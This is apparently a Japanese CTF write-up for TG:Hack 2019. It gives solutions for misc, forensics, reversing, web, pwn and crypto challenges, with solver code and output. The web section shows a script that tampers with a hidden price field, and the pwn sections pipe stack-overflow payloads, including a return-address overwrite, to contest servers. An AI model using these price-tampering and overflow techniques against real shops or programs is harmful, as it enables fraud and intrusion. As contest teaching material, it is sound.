TG:Hack 2019 Writeup

この大会は2019/4/18 1:00(JST)~2019/4/21 1:00(JST)に開催されました。
今回は個人で参戦。結果は1325点で703チーム中70位でした。
解けた問題をWriteupとして書いておきます。

Welcome 1 (Misc 5)

問題にフラグが書いてあった。

TG19{I_am_a_fancy_flag_pls_submit_me!}

Welcome 2 (Misc 10)

Twitterの@tghack1337アカウントでフラグを見つけた。

TG19{tweet_like_a_easter_chicken_happy_easter!}

Welcome 3 (Misc 10)

instagramでフラグが書いてある画像を見つけた。
f:id:satou-y:20190424212037p:plain

TG19{happy_easter_hackers!}

Welcome 4 (Misc 10)

Discordの#tghackチャネルにフラグが書いてある。

TG19{do_not_hesitate_to_ask_questions!}

Hacking Mother's Network (Misc 10)

YouTubeを見てると、フラグが表示される。

TG19{join_us_at_tghack.no}

Bytecodes (Reverse engineering 50)

pycをデコンパイルする。

$ uncompyle6 main.pyc 
# uncompyle6 version 2.13.3
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.12 (default, Nov 12 2018, 14:36:49) 
# [GCC 5.4.0 20160609]
# Embedded file name: main.py
# Compiled at: 2019-04-13 21:56:41
# Size of source mod 2**32: 514 bytes
import binascii
import sys

def print_flag():
    enc = '1605737b39323b362a2d2c1d203b3627212d26271d2b2c1d362a271d2a2d3731273f'
    enc = binascii.unhexlify(enc)
    key = 66
    dec = ''
    for i in enc:
        dec += chr(i ^ key)

    print(dec)


def main(code):
    if code == 1337:
        print_flag()
    else:
        print('wrong!')


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print('error! missing magic code!')
        sys.exit()
    main(int(sys.argv[1]))
# okay decompiling main.pyc

このコードをmain.pyとして引数に1337を指定して実行する。

$ python3 main.py 1337
TG19{python_bytecode_in_the_house}
TG19{python_bytecode_in_the_house}

Filemagic (Forensics 70)

foremostで含まれているファイルを抽出する。

$ foremost store.bin 
Processing: store.bin
|*|

PNGファイルが抽出できて、フラグが書いてある。
f:id:satou-y:20190424212527p:plain

TG19{very_dough_much_loaf}

Superb Owlput (Forensics 150)

DNSの名前を並べるとjpgの形式になるので、結合する。

from scapy.all import *

packets = rdpcap('superb-owlput.pcap')

flag = ''
for p in packets:
    if p[IP].src == '172.19.1.50':
        if p.haslayer(DNSQR):
            flag += p[DNSQR].qname.split('.')[0]

flag = flag.decode('hex')

with open('flag.jpg', 'wb') as f:
    f.write(flag)

EXIFを見てみる。

$ exiftool flag.jpg
ExifTool Version Number         : 10.10
File Name                       : flag.jpg
Directory                       : .
File Size                       : 402 kB
File Modification Date/Time     : 2019:04:18 21:03:08+09:00
File Access Date/Time           : 2019:04:18 21:09:21+09:00
File Inode Change Date/Time     : 2019:04:18 21:03:08+09:00
File Permissions                : rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Artist                          : VEcxOXtUSEVfV0FMTFNfQVJFX0NPVkVSRURfV0lUSF9NQUdJQ0FMX1NBTFR9Cg
Y Cb Cr Positioning             : Centered
Image Width                     : 2380
Image Height                    : 3397
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 2380x3397
Megapixels                      : 8.1

Artistの文字列をBase64デコードする。

$ echo VEcxOXtUSEVfV0FMTFNfQVJFX0NPVkVSRURfV0lUSF9NQUdJQ0FMX1NBTFR9Cg | base64 -d
TG19{THE_WALLS_ARE_COVERED_WITH_MAGICAL_SALT}
base64: 無効な入力
TG19{THE_WALLS_ARE_COVERED_WITH_MAGICAL_SALT}

Wandshop (Web 100)

Elder Wandの価格を1にして、購入する。

import requests
import re

url = 'https://wandshop.tghack.no/'

s = requests.Session()
r = s.get(url)
body = r.text
print body

pattern = '"csrfmiddlewaretoken" value="(.+)">'
m = re.search(pattern, body)
mwtoken = m.group(1)

payload = {'csrfmiddlewaretoken': mwtoken, 'action': 'add_cart', 'sku': '321', 'price': '1'}
r = s.post(url, data=payload)
body = r.text
print body

payload = {'csrfmiddlewaretoken': mwtoken, 'action': 'order'}
r = s.post(url, data=payload)
body = r.text
print body

実行結果は以下の通り。

<html>
<head>
    <title>OllyDbg Wands</title>
</head>
<body>


    <h1>Your credit: 1337 coins</h1>
    <h1>Shopping cart:</h1>
    <ul>

        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
            <input type="hidden" name="action" value="reset"/>
            <button>Reset</button>
        </form>
        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
            <input type="hidden" name="action" value="order"/>
            <button>Send order</button>
        </form>
    </ul>
    <h1>Items</h1>
    <div style="display: flex; flex-direction: row;">

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Horse-hair wand</strong><br/>
                SKU: 1<br/>
                Price: 123.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="1"/>
                    <input type="hidden" name="price" value="123.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Dragon-bone wand</strong><br/>
                SKU: 2<br/>
                Price: 323.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="2"/>
                    <input type="hidden" name="price" value="323.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Troll-snot wand</strong><br/>
                SKU: 3<br/>
                Price: 723.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="3"/>
                    <input type="hidden" name="price" value="723.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Elder Wand</strong><br/>
                SKU: 321<br/>
                Price: 5000.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="321"/>
                    <input type="hidden" name="price" value="5000.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

    </div>

</body>
</html>
<html>
<head>
    <title>OllyDbg Wands</title>
</head>
<body>


    <h1>Your credit: 1336 coins</h1>
    <h1>Shopping cart:</h1>
    <ul>

            <li>321 - 1</li>

        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
            <input type="hidden" name="action" value="reset"/>
            <button>Reset</button>
        </form>
        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
            <input type="hidden" name="action" value="order"/>
            <button>Send order</button>
        </form>
    </ul>
    <h1>Items</h1>
    <div style="display: flex; flex-direction: row;">

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Horse-hair wand</strong><br/>
                SKU: 1<br/>
                Price: 123.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="1"/>
                    <input type="hidden" name="price" value="123.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Dragon-bone wand</strong><br/>
                SKU: 2<br/>
                Price: 323.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="2"/>
                    <input type="hidden" name="price" value="323.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Troll-snot wand</strong><br/>
                SKU: 3<br/>
                Price: 723.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="3"/>
                    <input type="hidden" name="price" value="723.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Elder Wand</strong><br/>
                SKU: 321<br/>
                Price: 5000.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="321"/>
                    <input type="hidden" name="price" value="5000.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

    </div>

</body>
</html>
<html>
<head>
    <title>OllyDbg Wands</title>
</head>
<body>

    Yay! You ordered an Elder Wand. FLAG: TG19{Elder wand iz best wand}

</body>
</html>
TG19{Elder wand iz best wand}

Pwntions 1 (Pwn 50)

31文字適当に入れてみる。

$ nc pwntion1.tghack.no 1061
▄▄▌ ▐ ▄▌▄▄▄ .▄▄▌   ▄▄·       • ▌ ▄ ·. ▄▄▄ .    ▄▄▄▄▄                          
██· █▌▐█▀▄.▀·██•  ▐█ ▌▪▪     ·██ ▐███▪▀▄.▀·    •██  ▪                         
██▪▐█▐▐▌▐▀▀▪▄██▪  ██ ▄▄ ▄█▀▄ ▐█ ▌▐▌▐█·▐▀▀▪▄     ▐█.▪ ▄█▀▄                     
▐█▌██▐█▌▐█▄▄▌▐█▌▐▌▐███▌▐█▌.▐▌██ ██▌▐█▌▐█▄▄▌     ▐█▌·▐█▌.▐▌                    
 ▀▀▀▀ ▀▪ ▀▀▀ .▀▀▀ ·▀▀▀  ▀█▄▀▪▀▀  █▪▀▀▀ ▀▀▀      ▀▀▀  ▀█▄▀▪                    
▪   ▐ ▄ ▄▄▄▄▄▄▄▄        ·▄▄▄▄  ▄• ▄▌ ▄▄· ▄▄▄▄▄▪         ▐ ▄     ▄▄▄▄▄         
██ •█▌▐█•██  ▀▄ █·▪     ██▪ ██ █▪██▌▐█ ▌▪•██  ██ ▪     •█▌▐█    •██  ▪        
▐█·▐█▐▐▌ ▐█.▪▐▀▀▄  ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌     ▐█.▪ ▄█▀▄    
▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌     ▐█▌·▐█▌.▐▌   
▀▀▀▀▀ █▪ ▀▀▀ .▀  ▀ ▀█▄▀▪▀▀▀▀▀•  ▀▀▀ ·▀▀▀  ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪     ▀▀▀  ▀█▄▀▪   
 ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪         ▐ ▄ .▄▄ ·      ▄▄· ▄▄▌   ▄▄▄· .▄▄ · .▄▄ · ▄▄ 
▐█ ▄███· █▌▐█•█▌▐█•██  ██ ▪     •█▌▐█▐█ ▀.     ▐█ ▌▪██•  ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌
 ██▀·██▪▐█▐▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄    ██ ▄▄██▪  ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█·
▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█    ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ 
.▀    ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀     ·▀▀▀ .▀▀▀  ▀  ▀  ▀▀▀▀  ▀▀▀▀  ▀


Professor maritio_o:
"As there is little foolish wand-waving here, many of you will
hardly believe this is magic. I don't expect you will really
understand the beauty of the softly simmering cauldron with
its shimmering fumes, the delicate power of liquids that
creep through the human veins, bewitching the minds, ensnaring
the senses... I can teach you how to bottle fame, brew glory,
and even stopper death - if you aren't as big a bunch of
dunderheads as I usually have to teach."

Student:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
TG19{remember that C always terminates on null bytes^_^}
TG19{remember that C always terminates on null bytes^_^}

Pwntions 2 (Pwn 75)

48バイトの後、整数値で1になっていればフラグが表示される。

$ python -c 'print "A"*48+"\x01\x00\x00\x00"' | nc pwntion2.tghack.no 1062
▪   ▐ ▄ ▄▄▄▄▄▄▄▄        ·▄▄▄▄  ▄• ▄▌ ▄▄· ▄▄▄▄▄▪         ▐ ▄     ▄▄▄▄▄         
██ •█▌▐█•██  ▀▄ █·▪     ██▪ ██ █▪██▌▐█ ▌▪•██  ██ ▪     •█▌▐█    •██  ▪        
▐█·▐█▐▐▌ ▐█.▪▐▀▀▄  ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌     ▐█.▪ ▄█▀▄    
▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌     ▐█▌·▐█▌.▐▌   
▀▀▀▀▀ █▪ ▀▀▀ .▀  ▀ ▀█▄▀▪▀▀▀▀▀•  ▀▀▀ ·▀▀▀  ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪     ▀▀▀  ▀█▄▀▪   
 ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪         ▐ ▄ .▄▄ ·      ▄▄· ▄▄▌   ▄▄▄· .▄▄ · .▄▄ · ▄▄ 
▐█ ▄███· █▌▐█•█▌▐█•██  ██ ▪     •█▌▐█▐█ ▀.     ▐█ ▌▪██•  ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌
 ██▀·██▪▐██▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄    ██ ▄▄██▪  ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█·
▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█    ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ 
.▀    ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀     ·▀▀▀ .▀▀▀  ▀  ▀  ▀▀▀▀  ▀▀▀▀  ▀
------------------------------ Overflow pt. 2 -------------------------------


Professor maritio_o:
> Welcome to the second class about stack overflow pwntions!
> Pls don't hesitate to ask questions!

Student:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Professor maritio_o:
> Excellent! Ten points to your house!
> TG19{Wow! You_may_also_stack_overflow_into_a_struct}
TG19{Wow! You_may_also_stack_overflow_into_a_struct}

Pwntions 3 (Pwn 100)

何バイトか指定しながら、EIPの値が変わるのを見ていく。

$ gdb -q pwntion3
Reading symbols from pwntion3...done.
gdb-peda$ r <<< `python -c 'print "A" * 20'`
Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 20'`
bbaanneerrrrrrrrrrrr

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: [Inferior 1 (process 41267) exited normally]
gdb-peda$ r <<< `python -c 'print "A" * 100'`
Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 100'`
bbaanneerrrrrrrrrrrr

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: 
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x65 (b'e')
EBX: 0x41414141 (b'AAAA')
ECX: 0xffffccb0 ('A' <repeats 15 times>...)
EDX: 0x80 
ESI: 0xf7fb0000 --> 0x1afdb0 
EDI: 0xf7fb0000 --> 0x1afdb0 
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffcce0 ('A' <repeats 15 times>...)
EIP: 0x41414141 (b'AAAA')
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x41414141 in ?? ()
gdb-peda$ r <<< `python -c 'print "A" * 44 + "BBBB"'`
Starting program: /mnt/hgfs/Shared/pwntion3 <<< `python -c 'print "A" * 44 + "BBBB"'`
bbaanneerrrrrrrrrrrr

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: 
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x31 (b'1')
EBX: 0x41414141 (b'AAAA')
ECX: 0xffffccb0 ('A' <repeats 15 times>...)
EDX: 0x80 
ESI: 0xf7fb0000 --> 0x1afdb0 
EDI: 0xf7fb0000 --> 0x1afdb0 
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffcce0 --> 0xffffcd0a --> 0xffff 
EIP: 0x42424242 (b'BBBB')
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x42424242 in ?? ()

$ python -c 'print "A" * 44 + "\xb6\x86\x04\x08"' | nc pwntion3.tghack.no 1063
▪   ▐ ▄ ▄▄▄▄▄▄▄▄        ·▄▄▄▄  ▄• ▄▌ ▄▄· ▄▄▄▄▄▪         ▐ ▄     ▄▄▄▄▄         
██ •█▌▐█•██  ▀▄ █·▪     ██▪ ██ █▪██▌▐█ ▌▪•██  ██ ▪     •█▌▐█    •██  ▪        
▐█·▐█▐▐▌ ▐█.▪▐▀▀▄  ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌     ▐█.▪ ▄█▀▄    
▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌     ▐█▌·▐█▌.▐▌   
▀▀▀▀▀ █▪ ▀▀▀ .▀  ▀ ▀█▄▀▪▀▀▀▀▀•  ▀▀▀ ·▀▀▀  ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪     ▀▀▀  ▀█▄▀▪   
 ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪         ▐ ▄ .▄▄ ·      ▄▄· ▄▄▌   ▄▄▄· .▄▄ · .▄▄ · ▄▄ 
▐█ ▄███· █▌▐█•█▌▐█•██  ██ ▪     •█▌▐█▐█ ▀.     ▐█ ▌▪██•  ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌
 ██▀·██▪▐█▐▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄    ██ ▄▄██▪  ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█·
▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█    ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ 
.▀    ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀     ·▀▀▀ .▀▀▀  ▀  ▀  ▀▀▀▀  ▀▀▀▀  ▀
------------------------------ Overflow pt. 3 -------------------------------

Professor maritio_o:
> I've made a function for you, my magnificent students! Do a little brewing and show me what you are good for!

Student: TG19{Awesome! You are now better at pwning than many CTFers!! Congratulations}★
/opt/wrap.sh: line 2:  3666 Segmentation fault      (core dumped) ./pwntion3
TG19{Awesome! You are now better at pwning than many CTFers!! Congratulations}

Echo Chamber (n00b 5)

表示されたものをそのまま答える。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('echo.tghack.no', 5555))

for i in range(50):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n').strip()
    print data
    print data
    s.sendall(data + '\n')

data = recvuntil(s, '\n').strip()
print data
TG19{behold_the_echo_chamber_of_secrets}

Math Bonanza (n00b 10)

1000回四則演算の問題に答える。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('math.tghack.no', 10000))

for i in range(1000):
    data = recvuntil(s, '\n').strip()
    print data
    formula = recvuntil(s, '\n').strip()
    print formula
    ans = str(eval(formula))
    data = recvuntil(s, ': ')
    print data + ans
    s.sendall(ans + '\n')
    data = recvuntil(s, '\n').strip()
    print data

data = recvuntil(s, '\n').strip()
print data
TG19{calculate_all_the_things}

Let's Hash it Out (n00b 20)

表示された文字列に対して、指定されたハッシュを答える。

import socket
import re
import hashlib

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('hash.tghack.no', 2001))

data = recvuntil(s, 'luck!\n').strip()
print data

for i in range(1000):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n').strip()
    print data
    pattern = 'using (.+),'
    m = re.search(pattern, data)
    cat = m.group(1)

    data = recvuntil(s, '\n').strip()
    print data
    if cat == 'MD5':
        h = hashlib.md5(data).hexdigest()
    elif cat == 'SHA256':
        h = hashlib.sha256(data).hexdigest()
    elif cat == 'SHA512':
        h = hashlib.sha512(data).hexdigest()
    else:
        break
    data = recvuntil(s, ': ')
    print data + h
    s.sendall(h + '\n')

data = recvuntil(s, '\n').strip()
print data
TG19{one_order_of_sha256_hashbrowns_please}

American Standard Code for Information Interchange (Crypto 25)

ASCIIコードが並んでいるので、文字にしていく。

codes = '84 71 49 57 123 65 83 67 73 73 95 97 110 100 95 121 111 117 95 115 104 97 108 108 95 114 101 99 101 105 118 101 125'
codes = map(int, codes.split(' '))

flag = ''
for code in codes:
    flag += chr(code)

print flag
TG19{ASCII_and_you_shall_receive}

Land of Encoding (Crypto 25)

Base64デコードする。

$ echo VEcxOXtiZV9jYXJlZnVsX3doZW5fZHJvcHBpbmdfdGhlX2Jhc2V9 | base64 -d
TG19{be_careful_when_dropping_the_base}
TG19{be_careful_when_dropping_the_base}

Rotarius (Crypto 25)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号。

TG19{the_most_basic_type_of_encryption}

Exclusive Magic Club (Crypto 50)

XORでkeyがわかっているので、そのまま復号する。

enc = '''00111001 00101000 01000101 01010001 00011110 00010000 00110000 00011100
00110001 00001011 00011000 00000100 00110001 00111101 00010001 00011100
00101011 00011001 00000111 00010001 00110111 00100100 00111011 00000000
00000100 00011000 00001010 00000101 00011111 00110000 00010000 00000001
00000000 00001001'''

enc = enc.replace('\n', ' ').split(' ')

key = 'mother_knows_best'

flag = ''
for i in range(len(enc)):
    code = int(enc[i], 2) ^ ord(key[i%len(key)])
    flag += chr(code)

print flag
TG19{bow_down_to_the_AI_overlords}

Josefssons Final Exam (Crypto 75)

XORでkeyがわかっているので、そのまま復号すると、Base64文字列になる。そのままデコードできないが、シフトしてフラグの形式になるようシフトする数を探す。あとはデコードすれば、フラグになる。

import string

def caesar(s, n):
    ret = ''
    for i in range(len(s)):
        if s[i] in string.uppercase:
            code = ord(s[i]) - n
            if code < ord('A'):
                code += 26
        elif s[i] in string.lowercase:
            code = ord(s[i]) - n
            if code < ord('a'):
                code += 26
        else:
            code = ord(s[i])
        ret += chr(code)
    return ret

enc = '''00100011 00100010 00000100 00000010 00001000 00101010
00010111 00001011 00000001 01010101 01010110 00001100
00100010 01101100 00011000 00010001 00001111 00101111
01011110 00011111 00000100 00010001 00011011 00000010
00011001 00101100 00011011 00010011 00101001 01011101
00110010 00111000 00000001 00110011 00101001 01011011
00001101 01011110 01010110 00000110 00011000 00101010
00100011 01010011 00100011 00100001 00111101 01010110'''

enc = enc.replace('\n', ' ').split(' ')

key = 'good_luck'

enc_flag = ''
for i in range(len(enc)):
    code = int(enc[i], 2) ^ ord(key[i%len(key)])
    enc_flag += chr(code)

enc_flag = caesar(enc_flag, 8)
flag = enc_flag.decode('base64')

print flag
TG19{soon_you_are_the_crypto_master}

Passing Notes (Crypto 150)

bbb2c5e63d2ef893106fdd0d797aa97a を逆変換する。

supersecretpassword

これのSHA256のダイジェストをkeyとして、AES暗号の復号を行う。

from Crypto.Cipher import AES
from Crypto.Hash import SHA256

def unpad(s):
    return s[:-ord(s[-1])]

enc = 'vyLlwWSY1PCK5ELNTPUVdpl8z0rIXiB2+Ybcu/BeXidR3MEiym852HCkS6wHVCr+CdpP6Moe9VQUeFcyq3vZDpVK/orl+8vREYMRrnQR9O4='
enc = enc.decode('base64')

secret = 'supersecretpassword'
key = SHA256.new()
key.update(secret)
key = key.hexdigest().decode('hex')

iv = enc[:16]
enc = enc[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc))
print flag
TG19{you_should_really_consider_updating_your_hash_algorithm}

The Chamber of Secrets (Crypto 300)

楕円Elgamal暗号の問題。cを復号して、共通鍵を割り出し、復号する。

#!/usr/bin/env sage -python
# solve.sage
q = 1125899906842597
a = -3
b = 313205882961673
g = (1115545019992514, 78178829836422)
h = (829999038570486, 549144410878897)
c1 = (700253548714057, 421820716153583)
c2 = (470712751668926, 131989609316847)

F = FiniteField(q)
E = EllipticCurve(F, [a, b])
G = E.point(g)
H = E.point(h)
factors, exponents = zip(*factor(E.order()))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))][:-2]
dlogs = []
for fac in primes:
    t = int(G.order()) / int(fac)
    dlog = discrete_log(t*H, t*G, operation='+')
    dlogs += [dlog]

d = crt(dlogs,primes)

C1 = E.point(c1)
C2 = E.point(c2)
secret = C2 - d * C1
print secret

この実行結果は以下の通り。

(934013602642177 : 28034533961304 : 1)

このx座標を鍵として復号する。

from Crypto.Cipher import Blowfish
from Crypto.Hash import SHA256
import base64

def unpad(s):
    return s[:-ord(s[-1])]

enc = 'sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0='
enc = base64.b64decode(enc)

secret = '934013602642177'
key = SHA256.new()
key.update(secret)

bs = Blowfish.block_size
iv = enc[:bs]
enc = enc[bs:]

cipher = Blowfish.new(key.digest(), Blowfish.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc))
print flag
TG19{please_be_more_discreet_when_hacking}